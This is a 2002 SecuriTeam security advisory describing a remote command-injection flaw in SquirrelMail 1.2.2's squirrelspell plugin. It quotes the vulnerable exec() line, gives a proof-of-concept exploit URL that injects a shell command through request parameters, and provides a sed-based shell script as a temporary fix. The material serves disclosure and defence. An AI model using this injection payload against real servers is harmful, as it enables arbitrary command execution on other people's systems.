[UNIX] SquirrelMail Security Bug Allows Execution of Arbitrary Commands

From: support@securiteam.com
Date: 02/07/02


From: support@securiteam.com
To: list@securiteam.com
Date: Thu,  7 Feb 2002 23:37:45 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  SquirrelMail Security Bug Allows Execution of Arbitrary Commands
------------------------------------------------------------------------

SUMMARY

 <http://www.squirrelmail.org/> SquirrelMail is a standards-based web mail
package written in PHP4. A security vulnerability in the program allows
remote attackers to execute arbitrary commands remotely.

DETAILS

Vulnerable systems:
SquirrelMail version 1.2.2

Immune systems:
SquirrelMail version 1.2.4

From file check_me.mod.php:
$sqspell_command = $SQSPELL_APP[$sqspell_use_app];
..
$floc = "$attachment_dir/$username_sqspell_data.txt");
..
exec ("cat $floc | $sqspell_command", $sqspell_output);

This last line would allow attacker to execute any command as a HTTP
server's owner.

Exploit:
host/plugins/squirrelspell/modules/check_me.mod.php?
SQSPELL_APP[blah]=wall%20hello&
sqspell_use_app=blah&
attachment_dir=/tmp&username_sqspell_data=plik

(NOTE: We have wrapped the original URL into its fragments).

Temporary solution:
--- begin sqspell_security_fix.sh ---
#!/bin/sh
sed "s/.mod.php/.mod/g" sqspell_interface.php > tmp.1
sed "s/.mod.php/.mod/g" sqspell_options.php > tmp.2
mv -f tmp.1 sqspell_interface.php
mv -f tmp.2 sqspell_options.php
cd modules
for FILE in *.mod.php; do
        NEWFILE=`echo $FILE | sed 's/.php//'`
        mv $FILE $NEWFILE
done
--- end sqspell_security_fix.sh ---

ADDITIONAL INFORMATION

The information has been provided by <mailto:appelast@bsquad.sm.pl>
appelast and <mailto:icon@phy.duke.edu> Konstantin Riabitsev.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • [UNIX] Sensitive Information Disclosure Vulnerability Found in SIPS (PHP)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... A security vulnerability in the product allows attackers to get access to ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
    (Securiteam)
  • [UNIX] More Local Root Vulnerabilities during Installation of Tarantella Enterprise
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... in the installation process, which would allow local attackers to change ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
    (Securiteam)
  • [NT] Lysias Lidik Web Server Suffers from a Directory Traversal Vulnerability
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... outside the normally bounding HTML root directory. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
    (Securiteam)
  • [UNIX] YaBB Cross-Site Scripting Vulnerability (NULL)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... YaBB is a leading provider of free, ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
    (Securiteam)
  • [NEWS] SpiDynamics WebInspect Keeps Track of Its Users (Trial License)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... WebInspect, S.P.I. Dynamic's premier product, is a network-based web ... We make no effort to hide that this remote authentication is done. ...
    (Securiteam)